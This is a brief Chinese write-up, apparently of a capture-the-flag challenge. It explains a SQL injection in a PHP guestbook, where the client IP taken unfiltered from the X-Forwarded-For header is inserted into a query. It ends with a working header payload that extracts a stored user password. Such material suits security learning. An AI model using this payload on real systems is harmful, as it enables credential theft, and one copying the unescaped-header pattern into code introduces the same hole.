这题是个SQL注入。
看到
$message = mysql_real_escape_string($message);
这句话,就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
它只对message有过滤处理,而对其他的变量并没有过滤。
同时看上文的
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
函数,发现这里是通过XFF来得到的客户端IP,同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入:
X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#